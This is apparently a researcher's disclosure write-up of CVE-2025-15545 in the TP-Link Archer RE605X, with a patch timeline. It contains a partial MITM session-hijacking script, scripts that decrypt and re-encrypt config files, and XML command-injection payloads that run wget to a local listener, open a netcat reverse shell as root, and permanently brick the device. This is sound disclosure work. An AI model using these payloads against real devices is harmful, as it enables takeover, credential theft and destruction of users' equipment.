Description

During the research process on the TP-Link Archer RE605X range extender, multiple security issues were identified.
An initial weakness in the control panel authentication mechanism allows an adjacent unauthenticated attacker to intercept session cookies and CSRF tokens of an active user and reuse them to gain administrative access to the device. This issue is described as an additional finding observed during the research and is not included in the official CVE advisory.
In addition, two vulnerabilities affecting the firmware backup and restore functionality were discovered. The use of hardcoded cryptographic keys allows authenticated attackers to decrypt, modify, and re-encrypt configuration files, leading to sensitive information disclosure and configuration tampering. Furthermore, insufficient validation of XML tags during configuration parsing allows authenticated attackers to achieve remote code execution as root on the device. These issues are covered by CVE-2025-15545.

Affected

  • Device: TP-Link Archer RE605X
  • Vendor’s website: TP-Link
  • Firmware version: RE605X(EU)_V3_1.1.5 Build 20240905
  • Hardware version: RE605X v3.0
  • Firmware download address: TP-Link

The reported vulnerabilities have been patched by TP-Link on firmware version RE605X(EU)_V3_20260113.

Impact

The successful exploitation of the full vulnerability chain allows an authenticated attacker on the local network to fully compromise the device and potentially cause permanent denial of service.

CVSS 4.0 Score: 7.3 (High) CVSS:4.0/AV:A/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

  • Local network access required
  • Authentication required
  • No user interaction required
  • Temporary or permanent denial of service
  • Full device compromise

Technical Walkthrough

I decided to analyze the RE605X device mainly for two reasons: I already had it available at home, and given its similarity to a router — both in functionality and in the presence of a web-based control panel — I expected the attack surface to be reasonably broad.

Control Panel Analysis

The first component I looked into was the device control panel, which is exposed through an embedded HTTP web server and becomes accessible after authentication.

CSRF Token Reuse

One of the first aspects that caught my attention was how the device handles user authentication. On the RE605X, authentication relies on a session cookie (sysauth) and a CSRF token (stok), both of which are required to authorize each HTTP request performed by an authenticated user.

While inspecting the HTTP traffic with BurpSuite, I noticed that the same CSRF token value was reused across multiple different requests, rather than being regenerated or scoped to specific actions.

One such request is shown below:

POST /cgi-bin/luci/;stok=10f1589c03c3698014cd6aec57e4562a/locale?form=list HTTP/1.1
Host: 192.168.1.176
Content-Length: 14
Cache-Control: max-age=0
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
If-Modified-Since: 0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Origin: http://192.168.1.176
Referer: http://192.168.1.176/webpages/index.html?v=27da7fb562
Accept-Encoding: gzip, deflate, br
Cookie: sysauth=714103f2c81a2fdd3112a196ae803fd7
Connection: keep-alive

operation=read

This behavior, paired with the use of unencrypted HTTP, suggested that an adjacent attacker could intercept both values and reuse them to gain temporary authenticated access to the control panel.

While exploring the available features, one functionality stood out in particular: the backup and restore mechanism. This feature allows an authenticated user to generate, download, and later re-upload a configuration file (config.bin) to restore the device state. Given that file upload mechanisms are often a sensitive attack surface, I decided to investigate how this feature was implemented.

Filesystem Extraction

I started by downloading the firmware from the vendor’s official website, decompressing it, and analyzing it with binwalk:

$ binwalk firmware.bin

/home/nico/pentesting/firmware.bin
--------------------------------------------------------------
DECIMAL        HEXADECIMAL        DESCRIPTION
--------------------------------------------------------------
6164           0x1814             UBI image,
                                  version: 1,
                                  image size: 22020096 bytes
--------------------------------------------------------------

Since the UBI image does not start at offset 0, I extracted it into a separate file using dd for easier analysis:

$ dd if=firmware.bin of=ubimage.img bs=1 skip=6164

The extracted image was then inspected using ubi_reader, revealing two volumes: kernel and ubi_rootfs:

$ mkdir volumes
$ ubireader_extract_images -o volumes ubimage.img
$ ls volumes/ubimage.img/

img-1108066141_vol-kernel.ubifs  img-1108066141_vol-ubi_rootfs.ubifs

The ubi_rootfs volume turned out to be a standard SquashFS filesystem, so I unpacked it using unsquashfs: the filesystem was finally obtained.

$ unsquashfs img-1108066141_vol-ubi_rootfs.ubifs

Parallel unsquashfs: Using 12 processors
1639 inodes (1429 blocks) to write
created 1336 files
created 187 directories
created 302 symlinks
created 0 devices
created 0 fifos
created 0 sockets
created 0 hardlinks
$ ls squashfs-root/

bin/  data/  dev/  etc/  fw_data/  ini/  init*  lib/  mnt/  overlay/
proc/  rom/  root/  sbin/  sys/  tmp/  tp_data/  usr/  var@  www/

Firmware Reverse Engineering

After exploring the extracted filesystem, it became clear that the device uses a LuCI-based architecture. Incoming HTTP requests are routed through Lua components and then dispatched to the corresponding backend scripts or binaries responsible for handling the requested action.

Hardcoded Crypto Keys

The second vulnerability relates to the presence of hardcoded cryptographic material inside the file /usr/lib/lua/luci/model/crypto.lua:

32  local dft_key = "<HARDCODED_KEY_REDACTED>"
33  local dft_iv  = "<HARDCODED_IV_REDACTED>"

This Lua module is used to encrypt and decrypt configuration files during backup and restore operations. The goal is to prevent users from reading the configuration directly and to implement a basic integrity check before processing uploaded files.

Through reverse engineering, I reconstructed the encryption and decryption algorithms used by the device:

# Encryption: config.xml -> config.bin
config.bin = AES_ENC(ZLIB_COM(MD5_ADD(AES_ENC(ZLIB_COM(config.xml)))))

# Decryption: config.bin -> config.xml
config.xml = ZLIB_DEC(AES_DEC(MD5_REM(ZLIB_DEC(AES_DEC(config.bin)))))

Where:

  • AES_ENC()/AES_DEC() represent an AES encryption/decryption operation
  • ZLIB_COM()/ZLIB_DEC() represent a zlib compression/decompression operation
  • MD5_ADD() represents the operation of adding the MD5(product_name) hash value as header
  • MD5_REM() removes the first 16 bytes header from the file corresponding to the MD5 hash
  • product_name is the “RE605X” string
  • config.xml is the plaintext device configuration file, in XML format
  • config.bin is the encrypted configuration file

The MD5(product_name) value acts as a lightweight integrity check: during upload, the device verifies that the decrypted header matches the expected product identifier. If the check fails, the file is discarded.

Despite this mechanism, an authenticated attacker who obtains the hardcoded dft_key, dft_iv, and product_name values can fully bypass these protections.

An attacker could:

  • Decrypt configuration files and extract sensitive information
  • Modify and re-encrypt configuration files to apply arbitrary changes
  • Craft malformed configuration files that bypass validation and potentially cause denial of service

Command Injection

Continuing the analysis of the configuration processing logic, I identified a command injection vulnerability inside /usr/lib/lua/luci/sys/config.lua.

The xmlToFile() function found inside it implements a custom XML parser based on a state machine.

The basic steps of xmlToFile() are the following:

  • The function opens a config.xml file
  • The function reads through the XML tags inside the file
  • Depending on the current state and the currently processed XML tag, files or folders are created inside a specific path

When processing XML tags in the dir state, directories are created using the tag name without any sanitization:

226  local stepaddentry = {
227    ['dir'] = function(data, mov)
228      os.execute('mkdir ' .. filepath .. '/' .. data)

Because the tag name (inside the data variable) is concatenated directly into an os.execute() call, an attacker could inject arbitrary shell commands via a crafted XML tag. Combined with the previously identified vulnerabilities, this could lead to reliable remote code execution.

Vulnerabilities Validation

At this stage, I developed a proof of concept for each discovered vulnerability in order to validate it and better understand its real-world impact.

Authentication Bypass via CSRF Token Reuse

To validate the CSRF token reuse vulnerability, I performed a Man-in-the-Middle attack between an authenticated user and the device. I developed a Python script, session_hijacking.py, which intercepts HTTP traffic and extracts both the CSRF token (stok) and the session cookie (sysauth) used by the device for authentication.

72  def packet_callback(packet):
73      global stok_value, sysauth_value, already_executed
74
75      if packet.haslayer(TCP) and packet.haslayer(Raw):
76          payload = packet[Raw].load.decode(errors="ignore")
77
78          stok_match = re.search(PATTERN_STOK, payload)
79          cookie_match = re.search(PATTERN_SYSAUTH, payload)
80
81          if stok_match:
82              stok_value = stok_match.group(1)
83          if cookie_match:
84              sysauth_value = cookie_match.group(1)
85
86          if stok_value and sysauth_value:
87              print("\n[+] Credentials intercepted:")
88              print(f"  stok: {stok_value}")
89              print(f"  sysauth: {sysauth_value}")
90              send_http_request(stok_value, sysauth_value, op)

# Only part of the PoC script is shown here

The packet_callback function is triggered for each intercepted packet exchanged between the user and the device. When both authentication values are detected, they are printed and immediately reused to send an HTTP request to the device.

The device accepts the request as legitimate, confirming that intercepted CSRF tokens and session cookies can be reused to gain authenticated access to the control panel.

Note: This issue is not covered by the CVE-2025-15545 advisory. As part of the remediation process, HTTPS was enabled by default on the management interface, mitigating the risk of session credential interception on the local network.

Information Disclosure and Configuration Tampering

To validate the impact of the hardcoded cryptographic keys, I developed a Bash script to decrypt a downloaded configuration file:

#!/bin/bash

KEY="<HARDCODED_KEY_REDACTED>"
IV="<HARDCODED_IV_REDACTED>"

openssl aes-256-cbc -d -in config.bin -K $KEY -iv $IV > Config.zlib  # AES_DEC()
zlib-flate -uncompress < Config.zlib > Config                        # ZLIB_DEC()
dd if=Config of=Configg bs=1 skip=16                                 # MD5_REM()
openssl aes-256-cbc -d -in Configg -K $KEY -iv $IV > Configgg        # AES_DEC()
zlib-flate -uncompress < Configgg > config.xml                       # ZLIB_DEC()

rm ./Configgg ./Configg ./Config ./Config.zlib

The script follows the previously reverse engineered encryption and decryption logic and uses the extracted cryptographic material to decrypt config.bin into its plaintext form.

Running the script successfully produces config.xml. The decrypted file contains a significant amount of sensitive information, including system settings and Wi-Fi credentials:

<apCfg name="settings2">
<wep_weppassword>vsm…[redacted]…Frf</wep_weppassword>
<apBssEnabledApMode>on</apBssEnabledApMode>
<ent_encryption>0</ent_encryption>
<wlanSecType>1</wlanSecType>
<apHideSSID>off</apHideSSID>
<wep_wepKeyFormat>0</wep_wepKeyFormat>
<wep_wepKeyIndex>0</wep_wepKeyIndex>
<ent_radiusIp>0</ent_radiusIp>
<ent_wpaVersion>0</ent_wpaVersion>
<psk_wpaVersion>2</psk_wpaVersion>
<psk_keyUpdatePeriod>0</psk_keyUpdatePeriod>
<ent_keyUpdatePeriod>0</ent_keyUpdatePeriod>
<apBssEnabled>on</apBssEnabled>
<password>vsm…[redacted]…Frf</password>
<apHideSSIDApMode>off</apHideSSIDApMode>
<ent_radiusPort>0</ent_radiusPort>
<wep_wepAuthType>0</wep_wepAuthType>
<psk_wpaEncryption>2</psk_wpaEncryption>
<localApSsid>TIM-29468795</localApSsid>
</apCfg>

<!-- Only part of the config.xml file is shown here -->

Even if the attacker is already connected to one of the two Wi-Fi networks provided by the device, they can retrieve the credentials of the other network, which may be configured with different access settings. This represents a clear information disclosure of sensitive data.

To validate configuration tampering, I then developed a complementary Bash script to encrypt a modified configuration file before uploading it back to the device:

#!/bin/bash

KEY="<HARDCODED_KEY_REDACTED>"
IV="<HARDCODED_IV_REDACTED>"
MD5_PRODUCT_NAME='\x80\x47\xa8\x59\xa1\x38\x8b\x7c\x6e\x3b\x63\x9e\x09\x26\x00\x56'

zlib-flate -compress < config.xml > Configgg                        # ZLIB_COM()
openssl aes-256-cbc -e -in Configgg -K $KEY -iv $IV > Configg       # AES_ENC()
(printf "$MD5_PRODUCT_NAME"; cat Configg) > Config.zlib             # MD5_ADD()
zlib-flate -compress < Config.zlib > Config.bin                     # ZLIB_COM()
openssl aes-256-cbc -e -in Config.bin -K $KEY -iv $IV > config.bin  # AES_ENC()

rm -f Configgg Configg Config.bin Config.zlib

Using the same approach, I modified an existing configuration file to apply arbitrary changes. In this example, I changed the SSH service port from 22 to 24:

<dropbear>
<dropbear>
<RootPasswordAuth>on</RootPasswordAuth>
<Port>24</Port>
<SysAccountLogin>off</SysAccountLogin>
<PasswordAuth>on</PasswordAuth>
</dropbear>
</dropbear>

After encrypting and uploading the modified configuration file, the change was confirmed via network scanning:

$ nmap 192.168.1.254 -p24

Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-17 17:02 +0200
Nmap scan report for 192.168.1.254

PORT STATE SERVICE
24/tcp open priv-mail  # Port 24 was previously closed

Remote Command Execution on the Device

To validate the command injection vulnerability, I appended a crafted payload to a decrypted config.xml file. The payload causes the device to create a directory named pwn and then execute a wget command:

<pwn; wget 192.168.1.100;>
<easymesh>
<status name="status">
<sync_status>0</sync_status>
</status>
</easymesh>
</pwn; wget 192.168.1.100;>

After encrypting and uploading the modified configuration file, I observed incoming HTTP requests on a listener running on my machine at 192.168.1.100, confirming that arbitrary commands were executed on the device during configuration parsing:

$ python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

192.168.1.254 - - [17/Aug/2025 16:40:07] "GET / HTTP/1.1" 200 -
192.168.1.254 - - [17/Aug/2025 16:40:07] "GET / HTTP/1.1" 200 -

# Two GET requests indicate that the device processes the configuration file twice

Exploitation

After validating all the vulnerabilities individually, I evaluated their combined impact by chaining them together into realistic exploitation scenarios.

Reverse Shell as Root

By abusing the command injection vulnerability (chained with the configuration tampering vulnerability), I was able to obtain a reverse shell with root privileges on the device.

This was achieved by appending the following payload to a decrypted config.xml file, encrypting it again, and uploading it to the device:

<pwn; rm -f /tmp/f; mkfifo /tmp/f; sh < /tmp/f | nc 192.168.1.100 4444 > /tmp/f; sleep 20;>
<easymesh>
<status name="status">
<sync_status>0</sync_status>
</status>
</easymesh>
</pwn; rm -f /tmp/f; mkfifo /tmp/f; sh < /tmp/f | nc 192.168.1.100 4444 > /tmp/f; sleep 20;>

The injected command uses netcat to establish a connection to the attacker machine and redirects standard input and output to a shell through a FIFO file. The sleep instruction ensures that the device does not reboot after the connection is closed.

Once the configuration file was processed, a reverse shell was successfully obtained:

$ nc -lvnp 4444

Connection from 192.168.0.254:42762
# ls
cgi-bin
index-notice.html
index-url.html
index.html
webpages
# id -un
root
# uname -n
OpenWrt

This confirms full remote code execution with root privileges.

Denial of Service (DoS)

Using the second vulnerability, I was able to brick the device using two different methods: one resulting in a temporary denial of service and the other causing a permanent brick.

Appending the following payload to a configuration file causes the device to crash during configuration parsing, requiring a manual reset via the physical reset button:

<file>
<path>/etc/dropbear/authorized_keys</path>
<content>
a
</content>
</file>

The crash occurs due to the way the device processes the crafted XML tags. After the crash, the device becomes unresponsive until it is manually reset.

The permanent denial-of-service scenario requires the following additional steps:

  • Obtain arbitrary command execution on the device
  • Download and decrypt the /tp_data/user_data/user-config file
  • Append the payload shown below
  • Encrypt the file and upload it back to the device
  • Upload a backdoor.lua file to the device
<pwn; lua /tp_data/user_data/backdoor.lua &>
<easymesh>
<status name="status">
<sync_status>0</sync_status>
</status>
</easymesh>
</pwn; lua /tp_data/user_data/backdoor.lua &>

Warning: This payload causes the device to become permanently unresponsive.

This behavior was discovered while attempting to deploy a persistent backdoor. The user-config file acts as a hook during the boot process: upon startup, the device processes the saved configuration file and executes the injected command.

Because the command fails to complete successfully, the boot process never finishes, leaving the device permanently bricked.

Final Notes on Exploitation

These exploitation scenarios demonstrate that the identified vulnerabilities can be reliably chained to achieve:

  • Full root compromise of the device
  • Temporary or permanent denial of service

Disclosure Timeline

DateAction
12 Aug 2025Initial vulnerability report submitted to TP-Link
14 Aug 2025Report acknowledged by TP-Link and internal analysis initiated
20 Aug 2025TP-Link requests additional technical clarifications following preliminary analysis
23 Aug 2025Additional clarifications and confirmations provided to TP-Link
09 Sep 2025TP-Link confirms the vulnerabilities and begins validation and mitigation activities
22 Jan 2026Patched firmware addressing the reported issues is released
27 Jan 2026CVE-2025-15545 is assigned
29 Jan 2026CVE record and TP-Link advisory are published

References